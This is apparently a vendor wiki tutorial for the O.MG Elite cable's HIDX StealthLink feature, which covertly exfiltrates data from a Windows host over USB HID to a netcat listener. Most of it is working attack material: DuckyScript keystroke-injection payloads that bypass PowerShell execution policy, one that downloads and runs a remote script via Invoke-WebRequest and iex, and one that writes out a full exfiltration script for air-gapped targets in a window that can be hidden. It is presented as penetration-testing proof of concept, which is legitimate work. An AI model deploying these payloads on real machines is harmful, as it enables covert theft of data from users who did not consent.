HIDX StealthLink Windows PowerShell TCP Exfil - O-MG/O.MG-Firmware GitHub Wiki
What you will need:
- A Linux "Catcher" server
- A Windows "Target" host.
- A O.MG Elite Device running the the latest v3 Firmware.
- A Wireless Network accessible to both the O.MG Device and Linux "Catcher" server.
Please ensure that you have a Linux server with nc installed, and connected to your network.
This will serve as our "Catcher" server.
You will need to have a minimal understanding of Linux and the Terminal.
Please note the IP Address of your Linux server, as you will need this later in Step 3.
You can get this via the command: ip addr list
Verify that your Linux server has nc installed, via the command: nc --version
If your Linux server does not yet have netcat installed, you may be able to install it via the command: sudo apt install -y netcat-openbsd
(Note: If this does not work, please review how to install software on your choice of Linux distribution.)
You may now start the server, via the command: nc -kvl 0.0.0.0 1234
You should now see the following message to show the server has started: Listening on 0.0.0.0 1234
Later in Step 3, after the O.MG Device connects to your "Catcher" server, you should see a similar message to the following: Client connected from: 192.168.1.151:9134
Please ensure that you have an O.MG Elite Device running the the latest v3 Firmware. If you are not sure, please update your O.MG Device via the WebFlasher.
Connect to the WebUI of the O.MG Elite device, and click on the About button in the header bar of the page.
First, you should configure your HIDX Settings.
Within the O.MG WebUI Header Bar, click on the Settings button, and then the USB button beneath.
Within the section: HIDX Settings:
- Enter the Linux "Catcher" server IP Address obtained in Step 2
- Enter the Server Port Number: 1234
- Click on the "HIDX AutoStart on Boot" button
- Click "Change Settings"

Second, you should configure your O.MG Device to connect via Station Mode to your Wireless Network.
- Within the Settings Menu, click on the NET button.
- Change the WiFi Mode to Station.
- Enter your Wireless Network's SSID and Password.
- Click "Change Settings"

Your O.MG Device will now reboot, and will attempt to join your Wireless Network. At this point, on the Linux "Catcher" server, you should see a message in your Terminal similar to this: Client connected from: 192.168.1.151:9134
For this step, we will manually setup the Target Host to get a feel for how everything should work. Later, we will automate this process with a payload.
Please ensure that you have a Windows device with Administrator Privileges, and PowerShell installed.
Download the following script to your Downloads directory: https://raw.githubusercontent.com/O-MG/O.MG-Firmware/stable/tools/HIDX/powershell/win-hidexfil.ps1
Now, open PowerShell as Administrator, via:
- Press Start button
- type "PowerShell"
- Right click on the icon
- select "Run as Administrator"
Note: You may need to accept a UAC Prompt at this point.
Within the PowerShell Terminal, type the following command: Set-ExecutionPolicy -ExecutionPolicy Unrestricted
You should now see the following message:
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):
Press Y
, and then ENTER
.
Within the PowerShell window, enter the following:
cd ~/Downloads
Import-Module .\win-hidexfil.ps1
ls|HIDXExfil
Now, your Windows device has listed the current content of the directory and initiated an Exfiltration via the O.MG Device over USB. The content can be accessed by returning to the Linux "Catcher" server.
Go back to the Linux "Catcher" server, and the terminal window.
You should now see the following:
Directory: C:\Users\user\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/23/2023 2:41 PM 8033 win-hidexfil.ps1
Now that you have the basics of HIDX Stealth Link working, lets replace all the manual setup on the Target Host by using a payload. This will be our "Stage 1 Payload" that starts the entire attack demonstration.
First, you will need to host the .ps1 file on a publicly accessible URL. Update the example payload below by defining the #URL constant.
REM HIDX_Stealth_Link_TCP_Exfil_IEX
REM Version 1.0
REM OS: Windows
REM Author: 0i41E
REM Requirements: Firmware Version 3.0 minimum, Activated HIDX
REM HID based exfiltration payload, executed in powershell via Invoke-Expression.
REM Define the URL where you hosted your PoC
DEFINE #URL https://example.com/
REM Define Keymap below
DUCKY_LANG us
DELAY 2000
GUI r
DELAY 500
STRINGLN powershell -executionpolicy unrestricted
DELAY 1000
REM Calling HIDX poc via Invoke-Webrequest and execute it via Invoke-Expression
STRINGLN Invoke-WebRequest -UseBasicParsing -Uri "#URL" | iex;gci | HIDXExfil
Lets improve the Stage 1 Payload to execute on a Target that does not have internet access. This will achieve a fully air-gap capable payload.
REM HIDX_Stealth_Link_Exfiltration_PoC_Airgapped
REM Version 1.1
REM OS: Windows
REM Author: 0i41E
REM Requirements: Firmware Version 3.0 minimum, waiting listener Activated HIDX
REM HID based exfiltration via Powershell.
REM Define Language Below
DUCKY_LANG us
REM Name of the saved PowerShell script
DEFINE #FILENAME win-hidexfil.ps1
REM PowerShell WindowStyle - Normal,Minimized,Maximized or Hidden
DEFINE #WINDOWSTYLE Normal
REM USB Identifiers
DEFINE #Vendor_ID D3C0
DEFINE #Product_ID D34D
REM Description of the PoC
FUNCTION Description()
STRINGLN_BLOCK
<#
HIDXExfil.ps1
Author: 0i41E (@01p8or13)
Acknowledgements: spiceywasabi, rogandawes
Required Dependencies: Activated HIDX on OMG Elite device
#>
<#
.DESCRIPTION
This is a POC.
A "low and slow" method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host's network interfaces or mass storage.
This POC will allow data exfiltration back to the O.MG's flash storage or act as a proxy between the target host and another device,
via the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools.
.PARAMETER Message
Message which gets exfiltrated.
.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)
.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)
.EXAMPLE
Defining a message:
HIDXExfil -Message "hello world"
.EXAMPLE
HIDX usage with every parameter:
HIDXExfil -VendorID D3C0 -ProductID D34D -Message "test"
.EXAMPLE
Piping output into HIDX:
whoami | HIDXExfil
.EXAMPLE
Exfiltrating systeminfo with proper formatting:
systeminfo | Out-String | HIDXExfil
.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes
#Credits to Rogan for the idea of filehandle and device identification
#>
END_STRINGLN
END_FUNCTION
REM Delete old PoC file, and start notepad to write the new one
FUNCTION Clean_Start(#VAR1)
DELAY 1000
GUI r
DELAY 1000
STRINGLN powershell
DELAY 1000
STRINGLN Remove-Item $env:USERPROFILE\#VAR1
DELAY 250
STRINGLN notepad.exe;exit
DELAY 2000
END_FUNCTION
REM Save PoC on disk in Userprofile folder
FUNCTION Save_Payload(#VAR4)
DELAY 2000
CTRL w
DELAY 2000
ENTER
DELAY 2000
STRING %USERPROFILE%\#VAR4
DELAY 2000
ENTER
END_FUNCTION
REM Start a PowerShell with given WindowStyle and execute the PoC
FUNCTION HIDXExfil_Execution(#VAR5, #VAR6)
DELAY 1000
GUI r
DELAY 500
STRINGLN powershell -WindowStyle #VAR6 -ep bypass
DELAY 1000
STRINGLN Import-Module $env:USERPROFILE\#VAR5
END_FUNCTION
REM Define the Device via VID/PID
FUNCTION Device_Definition(#VAR2, #VAR3)
STRINGLN_BLOCK
[cmdletbinding()]
param(
[Parameter(
Mandatory = $true,
ValueFromPipeline = $true)]
$Message,
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$VendorID = "#VAR2", #Default value:D3C0
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[String]
$ProductID = "#VAR3" #Default value:D34D
)
$omg = $VendorID + "&PID_" + $ProductID
END_STRINGLN
END_FUNCTION
REM Get String for OMG device
FUNCTION Get_OMGDevice()
STRINGLN_BLOCK
function Get-OMGDevice(){
#Identify OMG device
$devs = gwmi Win32_USBControllerDevice
$devicestring=$null
foreach ($dev in $devs) {
$wmidev = [wmi]$dev.Dependent
if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
$devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')
}
}
return $devicestring
#EICAR string & Amsi trigger
#X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
}
END_STRINGLN
END_FUNCTION
REM Sending message
FUNCTION Sending_Message()
STRINGLN_BLOCK
function Send-Message {
param(
$fileHandle,
$payload
)
$payloadLength = $payload.Length
$chunkSize = 8 # Kept at 8 for best experience
$chunkNr = [Math]::Ceiling($payloadLength / $chunkSize)
for ($i = 0; $i -lt $chunkNr; $i++) {
$bytes = New-Object Byte[] (65)
$start = $i * $chunksize
$end = [Math]::Min(($i + 1) * $chunksize, $payloadLength)
$chunkLen = $end - $start
[System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen)
$filehandle.Write($bytes, 0, 65)
}
}
END_STRINGLN
END_FUNCTION
REM Create Filehandle
FUNCTION Create_Filehandle()
STRINGLN_BLOCK
Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
public class hidx {
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);
public static FileStream open(string fn) {
return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
}
}
}
"@
END_STRINGLN
END_FUNCTION
REM Error handling and exfiltration
FUNCTION Exfiltration_Process()
STRINGLN_BLOCK
try {
$deviceString = Get-OMGDevice
if ($deviceString -eq $null) {
Write-Host -ForegroundColor Red "[!]Error: Could not find OMG device - Check VID/PID"
return
}
$fileHandle = [omg.hidx]::open($deviceString)
if ($fileHandle -eq $null) {
Write-Host -ForegroundColor Red "[!]Error: Filehandle is empty"
return
}
$payload = [System.Text.Encoding]::ASCII.GetBytes($Message + "`n")
Send-Message -fileHandle $fileHandle -payload $payload
} catch {
Write-Host -ForegroundColor Red "[!]Error: $($PSItem.Exception.Message)"
} finally {
if ($fileHandle -ne $null) {
$fileHandle.Close()
}
}
}
END_STRINGLN
END_FUNCTION
Clean_Start(#FILENAME)
DELAY 1000
STRINGLN function HIDXExfil {
Description()
Device_Definition(#Vendor_ID, #Product_ID)
Get_OMGDevice()
Sending_Message()
Create_Filehandle()
Exfiltration_Process()
Save_Payload(#FILENAME)
HIDXExfil_Execution(#FILENAME, #WINDOWSTYLE)
You may now run commands in PowerShell to exfil data at will.
Initially you still must do the following once per session, if not already done:
Import-Module $env:USERPROFILE\win-hidexfil.ps1"
From there you can exfiltrate data at will as in previous examples:
Echo "This is a test" | HIDXExfil